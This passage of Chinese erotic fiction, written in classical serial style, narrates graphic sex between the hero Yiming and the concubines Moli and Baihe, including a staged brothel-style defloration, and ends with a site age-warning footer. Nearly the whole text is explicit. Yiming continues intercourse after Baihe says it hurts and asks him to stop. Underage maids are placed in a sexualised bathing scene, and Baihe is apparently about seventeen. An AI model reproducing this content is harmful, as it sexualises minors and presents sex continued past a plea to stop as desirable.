好一阵子抽插之后,一鸣感到彼此身子都起了变化,茉莉变得全身潮红,原本雪白肌肤如今变得火烫,胯下大量春水溢出,伴随那如兰似麝之香味更为浓厚,引得一鸣也是全身发热,统进统出之肉棒更是无比坚挺。

「小...小哥,奴...奴要丢了...嗯...哦」

果然,茉莉已然到达巔峰,当一鸣感到茉莉花蕊深处涌出一阵阵滚烫春潮,随之透过来那香气让一鸣吸入后,感到正运功紧守之精关居然蠢蠢欲动,茉莉高潮丢阴精之香味,居然有催动阳精之奇效!

一鸣正想多插弄一会儿,便将臀部抬起,预备运功收一口气,不料茉莉双手抱紧一鸣,力量大得超乎寻常,嘴里情急娇喘着:

「小哥...给我,给我...」

看来茉莉也急着要借他的种,好怀个娃娃;好吧,既然如此,一鸣便猛力插入,将肉棒用力顶到茉莉花心最深处,灵龟前端触到最里面,感受到花蕊一开一合,阵阵挤弄着龟头,于是一鸣不再坚持,阴囊一收,腰眼一麻,龟头一阵酸痒,股股浓精便争先恐后地,奔向茉莉的花蕊深处。

「喔,小哥,真美,真爽!」

茉莉口中喃喃赞赏,见到她双颊緋红,呼吸急促,肌肤火烫,如此美人儿真让人不忍离去,一鸣半软半硬肉棒让茉莉套着,低头吻遍她娇顏和玉颈,双手更是爱怜在她身上轻抚,茉莉半闭着眼睛,享受这一切,两人相拥共同细细回味这高潮滋味,直到那悸动消失,两人还捨不得分开,不知不觉竟昏昏然共入那黑甜之乡。

第十一回春宵苦短园中嬉春

且说一鸣与茉莉春风一度后,搂着她睡着了,那知道睡到半夜,突然觉得下体一阵酥麻,一惊醒低头望去,竟然是茉莉伏在他的双腿间,握着他坚硬的肉棒,舌尖轻轻地舔弄着他的灵龟,抬起晶亮的眼睛向一鸣瞧了一眼,俏脸上不知是因为兴奋还是羞涩,浮起一片嫣红。

一鸣舒服得脊背发麻,深深吸了一口气不禁呻吟出声,没想到这位善长音律看起来孤芳自赏的美人儿,竟如此会服侍男人。

原来茉莉睡到半夜竟自醒来,回想到一鸣对自己的好,不嫌那胯下之奇特气味,又舔又舐的,心中正是甜甜的,见着身旁的俏郎君,越是睡不着了,于是便想着要投桃报李,好好的招呼他那阳具。

茉莉一开始自一鸣胯下拎起这麼大个棒儿,还真不知道要如何舞弄,不过女子有天生本能,没一会她就找到最顺手的法子-先来个上下套弄!然后不时用舌尖舔一下那个大龟头上之马口。

接着小嘴一张便将灵龟整个含在口中,丁香缠捲、芳唇抿吸,舌尖将龟头下的肉稜细细的刮弄一遍,然后用双唇紧夹肉楞,舌尖舔顶马眼,双手也不閒着,一隻快速的擼动粗大的茎柱,一隻温柔的捏弄下面肉囊中的两颗卵蛋。

就在这时候那一鸣可就爽醒了,感受到她那柔软玉手加上灵活嫩舌尖,令人舒服得全身发麻。然而茉莉为了精益求益,一边盯着一鸣表情,一边用唇舌细细追寻男子胯下最敏感舒适之处,看到他做出舒畅偷悦表情时,便更卖力舔吮起来。

茉莉试着将舌尖绕着龟头下面沟沟一圈一圈舔,只见一鸣的眼睛都瞇了起来,嗯,这个他喜欢;若是把上面含住,再用唇儿包住轻轻地吸呢,一鸣像是一颗心被揪住,五官聚成包子状,想必他也爱这感受;茉莉一个不注意让贝齿碰着了龟头,一鸣像被吓到似的退缩了一下,嗯,这傢伙吃软不吃硬,下回注意别让牙儿碰坏他。

除了那刚强之巨阳要照应,这重要的子孙袋可也要好好呵护,茉莉先是轻轻揉着下面卵蛋,见到一鸣享受模样,在揉过之后再用舌尖轻轻的扫过,一鸣打了个哆嗦,原本鬆垮垮的卵袋,竟自像是怕痒似的提了上来,茉莉一时兴起,便在左右两粒圆滚滚卵袋上舔弄起来,搞得一鸣是又爽又痒,屁股蛋儿直往上顶,茉莉也顺势舔到会阴处,这时一鸣已是爽得喘了起来。

经过一阵舔吮之后,茉莉似乎感到自己幽谷的空虚,纤细苗条娇躯,急急爬到一鸣身上,芳唇追着他的嘴唇索吻。

一鸣感谢似的一面与她深吻,一面侧过身来抽出手儿开始揉着茉莉胸前一对玉兔,而茉莉却如同受惊小白兔儿,颤抖着窝在一鸣怀里。手里捏弄着盈盈可握的乳房,小巧玲瓏的玉乳非常坚挺,弹性十足,捏出各种美妙的形状,稍一鬆手就弹回原来挺翘的模样。

接着一鸣将一隻手,伸进了茉莉光滑柔嫩的玉户间抚弄起来。啊!真是一个下体柔嫩美妙的俏佳人,此时早已湿溜溜的,而且还带起一阵芬芳气味!

这落入花丛的一鸣也真是桃花运不断,这天生如玉的茉莉,竟也是媚入根骨之尤物,寻常男人若是怀抱这种媚惑天生的恩物,哪有不旦旦而伐、夜夜征战,恨不得要将她揉在身体里,最后精尽髓干的个个成了风流鬼,唯有一鸣练就那素女之术,才能驾驭得心应手。

一鸣揉弄胸前之双手似乎带有魔力,一直渗透到她芳心,那燥热麻痒再顺着脊背延伸到她花心,再通至双腿之间,终于化成甘露自玉门泌出,顿时又是满室生香。茉莉被一鸣摸的全身发软,无力的躺在床上,感到双腿间似乎沸腾一般,竟不知不觉又流出一股晶莹蜜露,让她不禁低呼着:

「小哥,下面好痒...」

下面好痒?听到美人儿有这个问题,一鸣立刻将身子往下为她探究一番,伸手拉开的雪白修长双腿,粉嫩湿润的花唇像含苞花蕊,等待着狂蜂浪蝶前来摘採,一丝晶亮透明花蜜半垂半坠,可真是妙啊!那阴户可真是白嫩如玉带着几丝粉红,玩过多少美女,这麼清淡的顏色还真是头一个,伸出舌尖接住就要滴下之蜜汁,竟然完全是清纯清香又甘甜,真是令人陶醉。

将那俏臀儿微微上提,见到茉莉臀窝中那一旋小小菊蕊,居然也是粉红粉红的,正紧张的一张一收,一鸣好奇的轻舔一下,却让茉莉感到后庭突然受袭,哼出一声长吟,身体猛地向上弓起。

一鸣这会儿仍未习后后庭花之妙处,因此未做逗留,又回过头来,开始专心攻克前庭那美丽花蕊,茉莉到底还是未惯云雨,转眼间就被花唇间美妙感觉覆盖,娇喘呻吟哼叫起来,俏臀也随之一扭一翘追逐快感。

一鸣将她花瓣用舌尖刮扫了一遍后,张嘴含住她那珍珠花蒂用力一吸,手指同时在后庭菊花上温柔搔弄,茉莉浑身哆嗦像打摆子般颤抖,伸手抱住了身下一鸣的头,纤腰也越扭越剧烈。下面的花蕊已是油光光黏糊成一片,哼叫声也越来越高亢。

茉莉忍不住的哀求道:「小哥,奴的心好空虚,快点儿帮着填一填。」此时她所谓空虚之心,指的乃是花心,要拿什麼填呢?当然是要用巨阳去填。

一鸣见已调弄停当,便翻身倒卧榻上,将胯下巨阳高举,示意茉莉自行上来填空。茉莉扶住粗大的巨阳,顶在自己双腿间湿黏黏的粉嫩花瓣上,玉体慢慢下沉,巨大灵龟劈开闪着晶莹光芒的唇瓣,一点一滴消失在细滑的花道中,彷彿要刺透花房充实感,让茉莉抬头吐出悠长叹息。按住一鸣胸部,筛动起雪白俏臀,美妙的呢喃、轻叹、压抑的呻吟,纷纷自樱唇间倾吐而出。

下面的心儿填满后,却发觉上面的心儿又有些慌,于是茉莉弯下美好的上身,托着一隻雪白玲瓏的玉乳,示意要塞进一鸣的嘴里,让他吸吮那已由粉红色胀成鲜红色之乳珠。

在她脸上的满面的红晕以及迷离的凤眼,是从未出现过的,一种似疼非疼、似痒非痒的表情,从开始的极力的压抑到后来无力的呻吟,说明了茉莉对一鸣已是全然献身,深深堕入一鸣情网,沉沦于色慾中无法自拔!

这一夜的激情可以说没有结束,一直延伸到第二天清晨,当两人弄至情浓丢精之后,茉莉那幽谷妙穴,随即发挥似是天生之异能,微微收缩、紧紧套牢一鸣的肉具,两人整夜维持着相拥交合的状态入眠。

两人直睡到日上三竿才被众姐妹前来叫醒用早餐,见到两人仍赤身交缠在一块儿,有姐妹不免就忍不住说些取笑的话。

这茉莉倒不像二娘海棠那般假道学,姐妹们想要作弄取笑她,说她贪欢赖在男人身上时,茉莉就一本正经的盛赞一鸣的好,不仅天生本钱好,性情也好,更重要的是技术更好。

果然是坦白从宽,众美见到茉莉对一鸣如此倾心崇拜,已尝过滋味的姐妹皆心有戚戚焉,也不好再取笑她,纷纷帮着两人梳洗打理。

用过早餐后,众人商量这天该做什麼消遣,该当今日初次轮值的百合说道:

「外边风和日丽,咱们应该到花园中赏花。」才说完就有人附议,于是早膳后众人就拥着一鸣来到中庭花园。

这赵府不愧是当地首富,花园还真大哩,园中有繁茂奇花异草树木点缀、庭台水榭、亭閤廊廡,曲径通幽,佈置得十分雅致,此时已是春末夏初,百花齐放,一派欣欣向荣状。

这百合年纪最幼,也是少年心性,个性颇为外向,除了会唱歌外,也喜好盪鞦韆、踢鞬子、蹴鞠玩球儿儿等庭院间的活动。与众人在园中赏了一回花、斗了一回草,便要求玩蹴鞠踼球之游戏,由于今夜属于百合,因此众美也顺着她。

为了要蹴鞠,这百合还特别换上一身适宜的好打扮,但见她身穿五彩团花密扣紧身短袄,腰间束着黄色排鬚束腰,下身是簇簇新大红扎脚绣裤,露出窄窄的一双三寸金莲,樱口桃腮、柳眉杏眼,相貌如花似玉,却是英姿勃勃。

一鸣一见那异于平日之装束,又是一个惊为天人、目瞪口呆的盯着那对平常都藏在裙底的三寸金莲直瞧。

于是数人已在院子里站定了。百合姑娘先要牡丹姐姐将这球儿行头拋送给一鸣,好让他展脚踢起,踼出一个一转红日高升,刚刚好就落在自己的身边。这球儿被百合用金莲鉤住,踢了一个满庭滚滚梨花,再一个左三脚金鱼跃水,右三脚单凤穿花。浑身一个转折,前直身,后鉤腿。将那球儿踢的似风吹杨花、空中舞,蹴的如雪片、满天沾,好一派的花团锦簇。

原是数人蹴鞠,每人不过才踼上一两回,最后却让百合一人自踢,一鸣及众美人站在一旁,不断鼓掌叫好、称美道奇。百合运起浑身解数踢个痛快,隻身头顶肩挑,股鉤拐连、手送胸、膝耸前蹲,先缓后紧,步步合局,脚脚有法。这百合一踼起球来,可真如花中彩蝶一般的曼妙非常。

随后百合也教了一鸣一些踼球妙招数,两人一教一学,不断擦出情感火花,众美见一鸣如此聚精会神、津津有味的踼球,也是十分欣慰,若是踼得好时,更是喝采叫好不已,一场球下来百合与一鸣已是香汗淋淋。

不知不觉已至正午时分,众人换过衣服,用了午膳,众人围坐在桌旁,这时一娘牡丹就对一鸣说了:

「哑郎,这几日我们姐妹与你相处,都觉得你与咱们姐妹有宿缘,对你十分倾心,而你也不嫌我们残花败柳,对咱们真心相待,姐妹们都十分感心,很想要给你一个特别的。而今夜你与百合妹子圆房,恰是一个好机会,是芙蓉妹子出的点子,希望你会喜欢。」

接着牡丹便看着芙蓉,示意她将这点子说出,芙蓉便接着说:

「咱们姐妹中,唯独百合妹子尚未开苞...」说到这里关心的看了百合一眼,百合则是羞惭的红着脸低下头。

芙蓉继续说道:「这处子开苞可是人生大事,平常人要洞房花烛、大宴宾客、热闹热闹,只是在这赵府中不能如此招摇,因此咱们姐妹便商量一番,便依着妓家之规矩,让哑郎有一整套清倌人点大蜡蠋之豪华享受,不知你可喜欢?」

喜欢?那何止喜欢,都要乐上天了,乐得他直点头傻笑不已,但是...且住!怎的百合嫁入了赵府为妾,怎的仍为完璧?难道她是石女?还是有其它问题?

这一鸣满肚子之疑问,虽然没有问出但也写满整张脸,就等着芙蓉说明,欲知原委为何,请待下回分解。

第十二回碧玉破瓜百年好合

芙蓉见一鸣满脸疑惑,想必是想知道何以百合仍为完璧之原委,这事若是传给丫鬟们知道不好,因此附在一鸣耳边諉諉道来。

原来赵老翁原配甚为悍妒又无子,守着赵老儿三十多年之后先走了,已经憋大半辈子的赵老儿,立刻开始请人物色对象,也不说要续弦,直接说要买妾,这时赵老儿早已年逾耳顺,头髮斑白,于是在七年间,陆陆续续的买进牡丹、海棠、芙蓉、茉莉、百合等美人儿。

这些美人儿进入赵府时,年纪都在十六、七岁,正所谓「二八佳人体似酥,腰悬宝剑斩愚夫」,赵老儿已是老之时血气既衰,牡丹、海棠进门时,见到美人儿怎生忍耐得住,另一方面也心悬宗嗣,自然是旦旦而伐,夜夜春宵,只可惜老人家气血不旺,无法得子。

到了芙蓉、茉莉进到赵府时,赵老儿已是后续无力,连个开苞都只能开个一半,未能尽兴即草草收场。

而前一年买那百合时,主要是因为赵老儿喜欢听她唱歌,买回来只能当个看马,却无力去骑她,有时赵老儿酒后有些兴致,也只能对她毛手毛脚的轻薄一番,想要重振雄风,却是很难。

而且若是天可怜见,赵老偶然真的硬了起来,就被几位先入门姐姐争说,某年某月某日,赵老曾答应要给她们一个痛快,至今仍未兑现云云,硬是被拉到某位姐姐那儿补做功课,再也轮不到百合。

也就是这样,前日海棠唱的那首「藕」,其中「可惜你未开的窍儿裹着皮」便是暗指百合仍未被破身,后一句「被那硬手的人儿拿着也,把你从头刮到尾」便是指不时被赵老儿动手动脚的意思,也难怪她听了要难过了。

经过芙蓉这麼一说,一鸣可就全部都明白了,了解今夜所负要为百合一解心结之重责大任。于是这个下午就由牡丹、芙蓉安排下,分别带着一鸣及百合各自去准备,海棠及茉莉则将百合闺房佈置成新房。

海棠及茉莉带着一鸣去舒舒服服洗个澡,有趣的是,除了两位美人儿之外,另有她们的贴身丫鬟当下手,以服侍他沐浴,这俏婢皆是尚未及弁青涩少女处子,面对生人,一鸣不免有些尷尬,胯下那话儿就任由他吊在那儿。

两位丫鬟则对这位西贝「六娘」,则充满着好奇,替一鸣加浴汤递毛巾时,一半时间都斜着眼儿估量那话儿的份量,两人想交换心得,却又不敢交谈,想笑又不敢笑,让正服侍的海棠及茉莉是又好气又好笑。

全身上下好好的搓洗一番后,海棠为一鸣换了身轻鬆的红色睡袍,便交待丫环带「六娘」至百合的新房歇着,两位娘子各去更衣。

一鸣虽然从未上过妓院,当然也没花银子为清倌人破身梳拢过,如今被赵府几位兴致颇高姬妾,闹着要说玩清倌人开苞,倒也觉得新鲜。见到原本是百合的闺房,此时却被佈置得喜气洋洋,堂上准备了两支大红囍烛,可不就像妓院中,专为那愿意出高价客人,以进行清倌人破身梳櫳之处所。

一鸣放鬆心情,在这绣房中东看看西瞧瞧一番,看了一圈后,便回头来试试床榻,都换成了全新舖盖,又软又柔,还香喷喷的,手在上面摸起来如丝般柔滑、棉般暖和。上床去试躺了一下,真是舒适无比,正优哉优哉的试着床榻,却听到开门声,一鸣立刻坐了起来。

原来是牡丹装扮成鴇母,带着丫鬟送进酒菜,同时由扮成妓院红牌的海棠、芙蓉及茉莉作陪,好敬敬这新妹夫。

一鸣见到厅里圆桌上,安置上了精致酒菜,便与众美人坐了下来,用些美酒好菜。酒过三巡、菜过五味,席间牡丹将那鴇母角色扮得唯妙唯肖,对一鸣非常亲热的嘘寒问暖,而另三位美人也各尽本份,插科打諢凑趣得很,将芙蓉及茉莉当年在妓院所见所闻,全都搬了过来演上一遍。

几位美人儿很有默契的,只对一鸣做出稍稍勾引的举动,以引起他的兴致,待酒足饭饱时,牡丹将百合带入房中,而这一鸣也准备好上阵了。

只见到百合像是新嫁娘一般,身披大红喜袍,唯独头上少了罩着脸儿的红巾,俏生生的低着头走了进来。也没有往床上的一鸣看,只是默默的先在堂上点燃了两支大红囍烛,同时取了香拜了一拜。膜拜已毕,便将头上象徵处子之身之丫角髻解了开来,整头秀丽的长髮披散下来。

但见她宫样眉儿新月偃,侵入鬢云边。未语人前先靦腆,樱桃红破,玉粳白露,半晌叫出一声:「爷儿好——」。

这一句问安,恰似嚦嚦鶯声花外囀,差一点把一鸣的心儿摘去,直喜他魂儿飘上了九天。

接着开始对着囍烛解开身上的衣裳,动作并不快,然而却无半分迟疑,甚至在卸下褻衣之时,那晶洁如玉的手儿仍然没有一丝颤抖。鬆脱的衣衫随着一双玉手轻轻拉扯而滑落一地。玉颈,藕臂,香肩,素背终于都暴露在空气中。稍一停顿,百合玉手又轻扯褻裤丝带,缓缓将其拉离少女下体,露出那雪白浑圆俏臀。一鸣见着她那赤裸背影,仿佛一尊完美无暇之雕像,傲然沐浴在囍烛光辉中。

百合转过身来,面儿低垂,双颊因娇羞而嫣红,一双小手垂在前方,无力的謢住少女最终之秘密花园,缓缓的走向坐于床沿的一鸣。到了床边,她慢慢移开护住下腹的手儿,把少女美妙的秘处展现出来。洁白平坦的肌肤上,那一丛乌黑显得份外惹人注目。

「好哥哥,百合等你好久了。」百合边说,羞怯的走向前,跪下身子,将娇挺双峰展现在他面前。温软的小手轻轻的为他除下了鞋袜,一双玉手在脚板上一番捏揉,十分关心的娇声问道:

「公子辛苦整日,脚儿只怕是酸了吧,待奴家为你揉揉。」

一鸣见到这闺房佈置成豪华温馨开苞房,绝对是地点合适,而百合这娇俏小妮子又摆出如此温柔体贴阵仗,又有醇酒、烛光,榻软枕柔,气氛浪漫,如此良辰美景自然跑不掉得要上马急策、挥鞭夺元。

箭在弦上正是不得不发,枪在胯下可也不得不耍,看到先前光景,姐妹们扮作名妓、鴇母之迎宾仗阵,似乎算准自己何时起兴,等百合一来就可以进行点大蜡蠋的清倌人开苞。于是一鸣干脆就舒适的斜倚在床上,享受着温柔乡里的滋味。

百合在一鸣脚上轻揉一番后,便替一鸣宽去衣物,当胯下巨阳露脸之时,百合是毫无羞态,完全不在意其巨大、温热,杀气腾腾,彷彿早已自姐姐们之情报,探知此神兵特异之处。

另外百合曾身在妓家,就算是清倌人,对那男子阳物也是不陌生,鴇母为了做好性教育,常要清倌人躲在暗室中,观摩其他妓女接客之技巧,因此个个见多识广,虽没碰过,那大小长短各种形状的,见识之多也可如数家珍,绝非一般闺女可比。对于寻常闺女而言,顶多只有无意中撇见男子在街角掏出行货洒尿露出的一角而已,像海棠那样的大家闺秀,早先则更是无缘见到了。

一鸣直到此时全属背动,然而他也知道,通常在妓院中买清倌儿初夜者,往往是一掷千金的富商巨贾,这些人年纪老迈、脑满肠肥的,那有什麼力气去捣弄青春少女,因此说是替少女摘那处女花冠,往往倒是处子利用他们半硬微软之阳具为自己破身,常常在一番小点蜡蠋之后,还得要找位巨阳客去点个大蜡蠋,以后才好开码头接客。

一鸣正值青春、年轻有为,有那天纵奇材之神兵,再加上练有屡战不屈之玄功,怎可如此被动?于是当百合将他的衣衫脱光之后,一鸣便轻轻将她带上绣榻,搂着她柔情蜜意的吻了起来。

百合被挑逗得不禁微微启开樱唇,把条丁香小舌深入一鸣口中,品尝深吻的滋味,这种吸吻的快感,使她昏昏迷迷地陶醉其中而不可自拔。热辣缠绵之长吻,令善于歌唱中气十足之百合也有些喘不过气来。

一鸣放开她的樱唇,轻抚着眼前艳红烧灼的粉颊,她那双眸碰上一鸣深情目光,彷彿赞美着这百合妹子之美艳,使得她不禁露出些许羞涩,眼神躲闪几下随即低下的头悄悄闭上。

扶起百合的脸蛋,再一次印上她温柔湿润的芳唇。一鸣的手顺着她的粉颈滑下,牵起她收在胸前的玉手。她那纤手软化在一鸣掌中,一鸣一手揽着她的双手,另一手探上她胸前起伏峰峦,百合的呼吸顿时紧了起来,轻轻摆动迎合着一鸣的巧手。他感到她心头小鹿急促的「噗通」、「噗通」响着。

她那一身除了赵老儿外,从未被其他人轻薄过的娇躯,此时却在一鸣抚摸下放弃了先前之矜持。一鸣的手更放肆地在她酥胸上游动,自乳房基部至坚挺乳尖来回不断地捏弄,使她有些昏昏然,陷入恍惚迷离之境界,全身鬆懈的地任由情郎摆佈。

一鸣抚弄着她那一对香暖鲜嫩的乳球儿,只觉得触手滑酥,像一团绵花似地,软棉棉、硬实实、香滑滑。一鸣轻轻地摸着弄着,两座峰顶的乳头渐渐地浮凸成珠状。身上那沁人的香气,幽幽地瀰散在房中,闻之令人心爽神怡。随着一鸣熟练的抚弄,她顺从的配合着一鸣爱抚搓揉俏挺的雪乳,一双小手滑向一鸣的手腕,以握持之轻重反应自身的爽乐。

一鸣熟练地挤捏着她突出的粉红蓓蕾。像是触及了情慾之穴道,百合情不自禁地出声呻吟起来。随着她胴体一阵一阵的摆盪,伴着腻到骨髓的娇喘,再和着醉人的少女幽香,让一鸣那早已因晚餐时众美勾引完全胀大之肉具,又弹了几弹。

细腰如水蛇一般地扭动,令胸前双丸前贴,一鬆一紧地按摩一鸣的胸膛。一鸣的双手,便改在她丝绸一般光滑的美背和翘臀来回游走,一鸣的鞭儿再度弹向她柔滑紧致的肌肤,轻轻的抽挥着。

一鸣放开了百合那樱桃小嘴,继续吻向她的粉颈,双手游移在她纤细敏感的娇躯上。百合紧紧的搂着一鸣,扭动,配合一鸣的爱抚,磨擦玉体的各个部位。

一鸣吻向她粉红色的乳晕,吸吮她水蜜桃似的美乳。调皮的舌头逗弄着她的玲瓏乳尖,使得百合口中娇吟更加放浪。张口含入一只肿胀乳珠,又让百合瘫软下来,双手不由自主的抱住一鸣后枕,涨如樱桃桃般乳珠在一鸣口中滚动不已,那娇躯也不住扭动,似乎在闪避一鸣灵蛇似舌尖。然而若是乳尖脱离一鸣嘴儿亲密包围,百合又身躯上扭,去追寻被包裹疼爱之美感,连串的娇吟似赞美诗般自樱桃小嘴中洩出。

一鸣一面轮流吸吮逗吻那对可爱乳头,趁她陷于迷离之中,一隻手往下触弄到胯下密处之处女圣地,轻柔地抚摸着她生着柔柔短毛,又暖又滑、肥美的处女阴户,就那轻轻一下,就让百合起了寒颤,酥麻麻地起了一阵莫名的快感,头使劲的拱在一鸣怀中,呼吸顿时急促,口气如兰似麝,媚眼微闭,长长的睫毛在她眼皮子上颤抖,小玉缝里溢出了湿黏黏淫蜜。

一鸣见百合春情满怀,便将她那娇躯抱在软榻上躺正了,再好好欣赏了一番。柔嫩细腻的肌肤,因那情慾激盪而白里透红,胸前一对丰乳,原本粉红而圆翘翘的乳珠,此时像樱桃般腥红上翘,肥白的乳峰,圆软香嫩又耸挺,细窄的腰枝恰可一握,玉臀肥隆丰腴、结实浑圆,小腹平滑紧绷,正中镶着一只可爱香脐,再往下面夹于修长玉腿之间,则是坟起之阴阜,迷人的处女圣地。

圣地上方长满了短而浓密之春草,两片花唇掩蔽在阴毛里,中间夹着一条细缝,呈鲜艳的緋红色,紧密地合着。为了一探幽境,一鸣擘开她的双腿,轻轻拨开阴毛,仔细观看那红通通、娇嫩嫩的小玉穴及那粒艳红滑嫩的花核儿。

雪白的外阴,夹着的幼嫩内阴花唇,如同红珊瑚一般,镶嵌混杂着粉白、粉红、及艳红色,深緋粉红、分布不均,犹如杂色杜鹃花一般,而这些粉红色部位,似乎随着发情增强而色泽越是转深。

一鸣见到如此特别之花穴,也是暗暗称奇,轻舔自己干渴的双唇,头一低终于触及百合微润的花蕊,一股迷人之处子幽香环绕在一鸣鼻端。他将的舌尖滑过百合微开门扉,一路往下舔舐至会阴敏感而娇涩之肌肤,弄得她周身剧颤,俏脸娇红,春意渐升,忍不住娇哼着把玉体迎向一鸣,淫蜜流到女孩洁白玉臀上,在烛光下反射出晶光。百合禁不住哼道:

「哥……哥……我……好难受……」

一鸣见大股淫津自花穴中流出,玉户已润滑了,便在那俏臀下垫了方百合交给他的白綾巾,然后翻身上马,叉开她的大腿,露出那珊瑚红色而湿淋淋的小春洞,握着巨阳在口儿研磨几下,就用力地奸插进去来个大开苞,她立刻哀叫一声:

「啊……好疼……」

早已由芙蓉处得到忠告,这处子破身是先苦后甘、长痛不如短痛,动作要干净俐落,因此一鸣从善如流,那神枪已过关斩将似地,塞进了她那小玉穴之中。

如同一把利刃插进了百合最敏感而柔嫩的地方,混合陌生的疼痛、喜悦、解脱,交织在一起,让女孩尖叫起来,她竭力扭动着丰满的臀部,似乎想要摆脱开那苦处,但是在一鸣与自已全面覆盖式的相贴,百合的挣扎只换来与他更多摩擦。

一鸣不由自主的长长吸了一口气,女孩下体柔涩而略为温润的妙穴洞壁,紧紧环护着他那巨阳,甚至能感受到里面一丝丝颤动,令人爽爽的。缓缓把自己抽离百合的秘处,再一次猛烈的送入。

百合痛苦地用小手顶着一鸣道:「好哥哥……不要动……慢一点,啊……好痛……」

他的动作猛烈而持续,如同滔滔不绝的巨浪,连着几次冲击,很快就揉碎了处女花冠,彻底粉碎百合那脆弱代表贞洁之守护者,一丝丝娇红如落花般点在白巾上。

「唔...」百合紧紧咬住芳嘴,无助的微仰起头,眼泪簌簌的滚落下来。

一鸣既已破去封口,便稍停下来,温柔的吻去百合眼角泪珠,无声的以双手抚慰百合,同时感受到自己坚硬的肉具,在她湿滑而致密的小穴被紧紧地困住,四面八方的嫩肉挤压、蠕动,像是不堪蹂躪,又像是渴望更深更美的刺激,对一鸣的阳具又是推挤又是吸入。

经过开始时花落之痛苦冲突,接下来应是享受甘甜果实,而一鸣动作也由先前狂暴变得越是温柔,手儿滑过女孩柔腻的肌肤,抚摸着她全身细腻的肌肤,哇!真嫩,真滑,这才是天生丽质呢。手又移向女孩的乳峰,抚摸她那一双紧绷绷,弹力十足的乳房。不一会儿,百合的情慾又渐渐復苏,津液慢慢自私处渗出,原来的抽泣声,逐渐变成了若有若无的呻吟。

「啊...」乳头传来的微痒让百合轻哼了一声。

乳珠在他巧妙指尖下再度茁壮起来,百合敏感觉察到于情缝之津液,已然流到臀下。

一鸣一面轻柔抽插,手儿一面抚摸着女孩散乱的秀髮,眼神柔情的与百合交织。

「嗯...」百合佯羞撒娇似的回应着他的温存。

一鸣将自己的上身抬起,低头看着百合与自己下体结合处,那初经云雨的私处,女孩的阴毛已是一片濡湿,原本紧合的玉门被他的巨大完全撑开了,转成了鲜红色之唇瓣,随着他进出动作而翻出体外,上面还可以清晰的看到带着血丝的晶莹露珠,不时顺着臀缝流淌下去。

随着一鸣的抽插,百合弓起身来甩盪着秀髮,娇媚而高亢的呻吟不住飞颺。挺俏的乳峰激烈晃动,噗滋噗滋的浪潮声,由那滑凝如脂的美腿间传出。百合纤巧细嫩的蜜唇已是充血肿胀,随着一鸣的深入浅出而翻入捲出。一阵猛似一阵的冲击下,令她浑身颤抖抽搐,伴随着一声美妙如仙乐的长长呻吟,小穴不可自制地剧烈抽搐,自花心洩出大量的琼浆玉露。

一鸣连忙运起素女玄功,以调合这洩出元阴。而一鸣那天生巨阳被她阴精一冲,烫得又酸又麻,又感动于处女阴元之赐予,也是身子一阵颤抖,「噢」的一声长叹,把持不住地一股热腾胜阳精,如同送出白花花夜渡资一般,毫不吝惜的飞射进了她花宫深处。

百合感受到这股精液的冲射,也用尽力气,将一鸣拉近死命地紧抱住他好一会儿。依照妓家规矩,百合将垫于臀下沾满处子元红及淫蜜阳精的白巾儿取出,交给情郎验货,一鸣像捧着珍宝似的,在巾儿上轻吻一下,然后仔细收藏好,百合的看着他做完这些,然后十分开心露出满意的微笑,深情的对着一鸣说了一句:

「多谢情哥哥...」

一鸣转过头去,见到百合长长的秀髮披散于凌乱床褥上,粉红色的娇躯像晶玉一般发散出诱人眩惑光泽。半闭半睁的秀目,脸蛋上娇艳的红霞久久没有退去真是嫵媚含羞、无限风情的。再看看小巧微翘的琼鼻、微张的樱桃小口、吹弹可破的肌肤、雪嫩饱满的乳房,可真是爱煞人了,忍不住回身将她紧紧搂住,那硬硬的阳具,再度插入百合那美滋滋的花穴,两人又再度情深意重的交缠在一起。

一夜间不知风流几度,两人交缠性交直到双双不支倒地,从彼此身上得到那甜蜜享受,颇为心满意足,不知不觉进入了梦乡,睡得异常舒服。第二天直到日上三竿,才在众姐姐的报喜声中转醒过来。两人在床上对视一笑,轻轻一吻,纷纷披衣起身。

接下来则是为清倌人破处梳拢之正事儿,所谓的梳拢,意即将象徵处女的丫角髻,改梳成妇人的髻子,这事儿通常是由丫鬟侍婢帮忙做,这会儿则有自家姐妹想要帮忙,由于这几日一鸣应赵老儿要求要扮成女装,因此也稍稍学了那女子彩粧,于是便示意自告奋勇要为百合上粧梳头,百合娇媚一笑应允,先在盆儿再洗净脸,便坐下来让一鸣为她上粧,众美也纷纷取了凳子坐下来看一鸣表演。

一鸣调了胭脂,在她如粉脸庞上画就了一副樱口桃腮,再描上一对秀眉儿,美女初破瓜,果然风情万千。秋波频盼,似有情稍寄,再对着一鸣用那春葱慢挑,更犹如那勾魂使者。一鸣见到百合粧成后,是如此美艳动人又狐媚,心里一阵阵惊喜,而百合对着镜子左看右看一会儿,不住的点头,这情郎画的粧儿,还画得真美呢。

众姐妹们也是赞不绝口,纷纷要求日后要一鸣代劳。

接着一鸣帮着百合梳头,取来那梳子,细心的将百合那缕缕青丝根根梳齐,然后就替她梳了一个入时的堕马髻,牡丹从怀中取出了一只镶蓝宝玉嵌映光珠之紫金凤首釵,要一鸣给她结上,粧成之后,果然是沉鱼落雁、闭月羞花,美艳绝伦。



若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]